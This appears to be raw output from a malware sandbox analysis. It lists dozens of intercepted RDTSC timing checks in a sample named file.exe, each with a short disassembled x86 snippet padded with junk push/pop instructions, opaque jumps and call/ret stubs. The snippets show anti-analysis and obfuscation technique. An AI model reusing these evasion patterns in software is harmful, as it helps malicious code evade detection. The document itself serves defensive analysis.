Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5EE1 second address: 8F5F2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 ja 00007F98219BDB66h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], ebx 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F98219BDB68h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b push eax 0x0000002c pushad 0x0000002d jmp 00007F98219BDB70h 0x00000032 pushad 0x00000033 jbe 00007F98219BDB66h 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6217 second address: 8F621D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F621D second address: 8F6222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6222 second address: 8F6227 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6227 second address: 8F625A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F98219BDB78h 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007F98219BDB6Bh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F62F4 second address: 8F631C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9820CD6BA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jbe 00007F9820CD6BB8h 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007F9820CD6B96h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F63FE second address: 8F6408 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F98219BDB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6408 second address: 8F6412 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F9820CD6B96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F647C second address: 8F6495 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d jmp 00007F98219BDB6Bh 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F7432 second address: 8F744A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9820CD6BA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F72B2 second address: 8F72BD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F744A second address: 8F746A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9820CD6BA4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F72BD second address: 8F72CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F72CA second address: 8F72E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9820CD6BA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F852A second address: 8F852F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F852F second address: 8F8564 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9820CD6B9Eh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop eax 0x00000016 nop 0x00000017 mov esi, 4657953Ah 0x0000001c push 00000000h 0x0000001e sbb di, 1260h 0x00000023 push 00000000h 0x00000025 clc 0x00000026 push eax 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FBDF8 second address: 8FBE0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F98219BDB70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEDA5 second address: 8FEDA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEDA9 second address: 8FEDAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEDAD second address: 8FEE20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jl 00007F9820CD6B96h 0x00000012 popad 0x00000013 pop ecx 0x00000014 nop 0x00000015 jl 00007F9820CD6B9Ch 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007F9820CD6B98h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 0000001Ah 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 add bx, C264h 0x0000003c push 00000000h 0x0000003e jl 00007F9820CD6B9Ch 0x00000044 xchg eax, esi 0x00000045 pushad 0x00000046 pushad 0x00000047 jmp 00007F9820CD6BA6h 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAF4D second address: 8FAF51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAF51 second address: 8FAF57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 900E69 second address: 900ECE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F98219BDB68h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push esi 0x00000028 call 00007F98219BDB68h 0x0000002d pop esi 0x0000002e mov dword ptr [esp+04h], esi 0x00000032 add dword ptr [esp+04h], 0000001Ah 0x0000003a inc esi 0x0000003b push esi 0x0000003c ret 0x0000003d pop esi 0x0000003e ret 0x0000003f movsx edi, cx 0x00000042 clc 0x00000043 push 00000000h 0x00000045 mov dword ptr [ebp+1245B2D7h], esi 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 900ECE second address: 900EDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9820CD6B9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 901ECE second address: 901ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 901ED3 second address: 901ED9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 901ED9 second address: 901EEC instructions: 0x00000000 rdtsc 0x00000002 jns 00007F98219BDB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 901EEC second address: 901F8B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F9820CD6B9Bh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F9820CD6B98h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 jmp 00007F9820CD6BA1h 0x0000002b mov di, cx 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F9820CD6B98h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 0000001Dh 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a mov bx, 3E71h 0x0000004e mov edi, 0A50E832h 0x00000053 push 00000000h 0x00000055 sub dword ptr [ebp+122D35C0h], edi 0x0000005b xchg eax, esi 0x0000005c pushad 0x0000005d push ecx 0x0000005e ja 00007F9820CD6B96h 0x00000064 pop ecx 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F9820CD6BA7h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 901F8B second address: 901F8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 901F8F second address: 901FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F9820CD6B9Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 902F02 second address: 902F14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a js 00007F98219BDB66h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEF2D second address: 8FEF4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9820CD6BA5h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEF4B second address: 8FEF56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F98219BDB66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9076C2 second address: 9076D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9820CD6B9Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9076D5 second address: 90770A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F98219BDB77h 0x00000009 popad 0x0000000a jg 00007F98219BDB79h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90770A second address: 907723 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F9820CD6BA4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 907723 second address: 90773E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jl 00007F98219BDB66h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90773E second address: 907743 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6C21 second address: 8B6C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007F98219BDB66h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6C2F second address: 8B6C4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9820CD6BA8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6C4D second address: 8B6C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F98219BDB6Ch 0x0000000b jnl 00007F98219BDB66h 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6C61 second address: 8B6CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9820CD6BA7h 0x00000009 pop ecx 0x0000000a popad 0x0000000b push ebx 0x0000000c pushad 0x0000000d jmp 00007F9820CD6BA5h 0x00000012 jmp 00007F9820CD6BA9h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6CB0 second address: 8B6CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F98219BDB66h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6CBF second address: 8B6CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6CC3 second address: 8B6CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90104D second address: 901053 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 901053 second address: 901057 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909D2D second address: 909D33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909D33 second address: 909D4A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007F98219BDB66h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jl 00007F98219BDB89h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909D4A second address: 909D4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909D4E second address: 909DAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F98219BDB77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sub bl, 00000079h 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 jng 00007F98219BDB79h 0x00000016 pop edi 0x00000017 push 00000000h 0x00000019 sub dword ptr [ebp+12462B41h], ebx 0x0000001f xchg eax, esi 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jmp 00007F98219BDB76h 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909DAF second address: 909DB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90AE1A second address: 90AE20 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CCC8 second address: 90CCCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CCCE second address: 90CCD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CCD3 second address: 90CCF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9820CD6BA7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CEEA second address: 90CEEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CEEE second address: 90CEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F9820CD6B96h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90FE4B second address: 90FE54 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910426 second address: 9104A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9820CD6B9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F9820CD6B98h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 cld 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push eax 0x0000002a call 00007F9820CD6B98h 0x0000002f pop eax 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 add dword ptr [esp+04h], 0000001Ch 0x0000003c inc eax 0x0000003d push eax 0x0000003e ret 0x0000003f pop eax 0x00000040 ret 0x00000041 push 00000000h 0x00000043 mov bh, ACh 0x00000045 xchg eax, esi 0x00000046 pushad 0x00000047 jmp 00007F9820CD6B9Ch 0x0000004c jmp 00007F9820CD6B9Ch 0x00000051 popad 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 jg 00007F9820CD6B96h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9104A4 second address: 9104BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F98219BDB72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DF74 second address: 90DF79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9106A0 second address: 9106B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91159F second address: 9115AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9820CD6B9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9115AD second address: 9115B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9125FB second address: 91260B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9820CD6B9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91260B second address: 912610 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A5AB second address: 91A5C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F9820CD6B96h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jc 00007F9820CD6B96h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A894 second address: 91A8A1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F98219BDB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 922205 second address: 922257 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9820CD6B9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F9820CD6BA4h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jmp 00007F9820CD6B9Fh 0x00000019 mov eax, dword ptr [eax] 0x0000001b push esi 0x0000001c jmp 00007F9820CD6B9Dh 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 922257 second address: 922272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F98219BDB76h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92251E second address: 922538 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9820CD6B98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007F9820CD6B98h 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 922538 second address: 92253E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92253E second address: 922542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 922542 second address: 922552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 922552 second address: 922556 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 922556 second address: 92255C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9278D4 second address: 9278E0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9278E0 second address: 9278E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9266C6 second address: 9266CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926C22 second address: 926C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926C26 second address: 926C2B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926C2B second address: 926C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jo 00007F98219BDB6Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
